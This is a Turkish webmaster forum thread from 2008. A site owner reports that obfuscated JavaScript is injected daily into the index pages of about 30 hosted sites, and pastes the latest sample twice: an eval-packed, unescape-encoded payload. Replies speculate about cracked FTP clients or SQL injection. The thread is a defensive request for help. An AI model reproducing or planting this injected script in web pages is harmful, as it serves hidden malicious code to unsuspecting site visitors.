• 15-05-2008, 23:32:21
    #1
    sunucumda yaklaşık 30 tane site var ve bunlara yaklaşık her gün indexlerine java script kodu yazılıyor. bunlardan nasıl kurtulabilirim
    enson atılan kod
    <script type="text/javascript"><script type="text/javascript">
    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('l(o("%c%m%e%1%j%a%k%h%n%v%u%p%h%a%s%i%2%1%0%0%6%e%2%1%0%0%3%8%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%d%2%1%0%0%3%c%2%1%0%0%3%b%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%3%f%2%1%0%0%4%7%2%1%0%0%4%7%2%1%0%0%4%0%2%1%0%0%6%g%2%1%0%0%5%9%2%1%0%0%5%9%2%1%0%0%3%4%2%1%0%0%3%9%2%1%0%0%3%9%2%1%0%0%3%4%2%1%0%0%3%e%2%1%0%0%3%b%2%1%0%0%5%c%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%a%2%1%0%0%3%a%2%1%0%0%3%b%2%1%0%0%4%7%2%1%0%0%5%9%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%9%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%a%2%1%0%0%4%0%2%1%0%0%3%f%2%1%0%0%4%0%2%1%0%0%5%5%2%1%0%0%5%0%2%1%0%0%4%4%2%1%0%0%3%8%2%1%0%0%3%7%2%1%0%0%4%7%2%1%0%0%3%f%2%1%0%0%6%c%2%1%0%0%6%d%2%1%0%0%5%0%2%1%0%0%3%f%2%1%0%0%3%b%2%1%0%0%3%8%2%1%0%0%3%4%2%1%0%0%3%f%2%1%0%0%4%7%2%1%0%0%6%c%2%1%0%0%6%d%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%4%8%2%1%0%0%3%e%2%1%0%0%3%b%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%4%3%2%1%0%0%3%8%2%1%0%0%4%6%2%1%0%0%3%8%2%1%0%0%3%5%2%1%0%0%3%8%2%1%0%0%3%e%2%1%0%0%3%8%2%1%0%0%4%7%2%1%0%0%4%8%2%1%0%0%6%g%2%1%0%0%3%f%2%1%0%0%3%8%2%1%0%0%3%7%2%1%0%0%3%7%2%1%0%0%3%b%2%1%0%0%3%a%2%1%0%0%6%q%2%1%0%0%4%0%2%1%0%0%3%9%2%1%0%0%4%6%2%1%0%0%3%8%2%1%0%0%4%7%2%1%0%0%3%8%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%6%g%2%1%0%0%3%d%2%1%0%0%3%5%2%1%0%0%4%6%2%1%0%0%3%9%2%1%0%0%3%e%2%1%0%0%4%b%2%1%0%0%4%7%2%1%0%0%3%b%2%1%0%0%5%5%2%1%0%0%6%a%2%1%0%0%6%e%2%1%0%0%5%9%2%1%0%0%3%8%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%d%2%1%0%0%3%c%2%1%0%0%3%b%2%1%0%0%6%a%i%r%t"));',32,32,'30|75|5c|36|37|32|33|34|39|66|65|35|64|31|63|38|61|74|27|6d|6e|eval|6f|2e|unescape|69|62|29|28|3b|72|77'.split('|'),0,{}));
    </script>
    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('l(o("%c%m%e%1%j%a%k%h%n%v%u%p%h%a%s%i%2%1%0%0%6%e%2%1%0%0%3%8%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%d%2%1%0%0%3%c%2%1%0%0%3%b%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%5%2%1%0%0%3%6%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%3%f%2%1%0%0%4%7%2%1%0%0%4%7%2%1%0%0%4%0%2%1%0%0%6%g%2%1%0%0%5%9%2%1%0%0%5%9%2%1%0%0%3%4%2%1%0%0%3%9%2%1%0%0%3%9%2%1%0%0%3%4%2%1%0%0%3%e%2%1%0%0%3%b%2%1%0%0%5%c%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%a%2%1%0%0%3%a%2%1%0%0%3%b%2%1%0%0%4%7%2%1%0%0%5%9%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%9%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%3%d%2%1%0%0%4%7%2%1%0%0%5%a%2%1%0%0%4%0%2%1%0%0%3%f%2%1%0%0%4%0%2%1%0%0%5%5%2%1%0%0%5%0%2%1%0%0%4%4%2%1%0%0%3%8%2%1%0%0%3%7%2%1%0%0%4%7%2%1%0%0%3%f%2%1%0%0%6%c%2%1%0%0%6%d%2%1%0%0%5%0%2%1%0%0%3%f%2%1%0%0%3%b%2%1%0%0%3%8%2%1%0%0%3%4%2%1%0%0%3%f%2%1%0%0%4%7%2%1%0%0%6%c%2%1%0%0%6%d%2%1%0%0%5%0%2%1%0%0%4%6%2%1%0%0%4%7%2%1%0%0%4%8%2%1%0%0%3%e%2%1%0%0%3%b%2%1%0%0%6%c%2%1%0%0%5%5%2%1%0%0%4%3%2%1%0%0%3%8%2%1%0%0%4%6%2%1%0%0%3%8%2%1%0%0%3%5%2%1%0%0%3%8%2%1%0%0%3%e%2%1%0%0%3%8%2%1%0%0%4%7%2%1%0%0%4%8%2%1%0%0%6%g%2%1%0%0%3%f%2%1%0%0%3%8%2%1%0%0%3%7%2%1%0%0%3%7%2%1%0%0%3%b%2%1%0%0%3%a%2%1%0%0%6%q%2%1%0%0%4%0%2%1%0%0%3%9%2%1%0%0%4%6%2%1%0%0%3%8%2%1%0%0%4%7%2%1%0%0%3%8%2%1%0%0%3%9%2%1%0%0%3%a%2%1%0%0%6%g%2%1%0%0%3%d%2%1%0%0%3%5%2%1%0%0%4%6%2%1%0%0%3%9%2%1%0%0%3%e%2%1%0%0%4%b%2%1%0%0%4%7%2%1%0%0%3%b%2%1%0%0%5%5%2%1%0%0%6%a%2%1%0%0%6%e%2%1%0%0%5%9%2%1%0%0%3%8%2%1%0%0%3%3%2%1%0%0%4%5%2%1%0%0%3%d%2%1%0%0%3%c%2%1%0%0%3%b%2%1%0%0%6%a%i%r%t"));',32,32,'30|75|5c|36|37|32|33|34|39|66|65|35|64|31|63|38|61|74|27|6d|6e|eval|6f|2e|unescape|69|62|29|28|3b|72|77'.split('|'),0,{}));
    </script>
    kesin bi çözüm var mı
  • 15-05-2008, 23:36:58
    #2
    Üyeliği durduruldu
    sitelerinin arasında aardvarktopsite scripti kurulu olanı var mı ?
  • 15-05-2008, 23:38:27
    #3
    scriplerin hepsi bana ait hazır script kullanmadım hiç
  • 15-05-2008, 23:43:03
    #4
    Üyeliği durduruldu
    nerden geldiğini bilemiyecem ama hernerden geldiyse hatalı yazılmışlar
  • 16-05-2008, 08:01:11
    #5
    bi tür virüs olabilir sunucudaki tüm sitelere yayılabilir.
  • 16-05-2008, 10:40:47
    #6
    forumda okumuştum index.html e java kodu atılıyordu kullandıgın ftp yöneticisini değiştir free birşeyler kullan cute ftp c-racklı kullanıyorsan yada buna benzer olabilir.
  • 16-05-2008, 14:49:50
    #7
    Üyeliği durduruldu
    worm virüs felan değil , MSSQL sistemlerde çalışır genelde,SQL den girerler yapışrlar. MYSQL 'de başarılı olmazlar . Yaptıkları pek önemli şeyler değil , sayfayı deface etmediği için dikkate alınmıyorlar fazla . Yaptıkları değişyior , kimisi bot oluyor kimisi ağ kuruyor , kimisi banner ekleyip ads para kazanıyor felan , cin den geliyorlar bircoğu .
    FTP programlarından alakası yok
  • 17-05-2008, 20:29:22
    #8
    Cevaplarınız için teşekkürler

    peki bunlardan nasıl kurtulabiliriz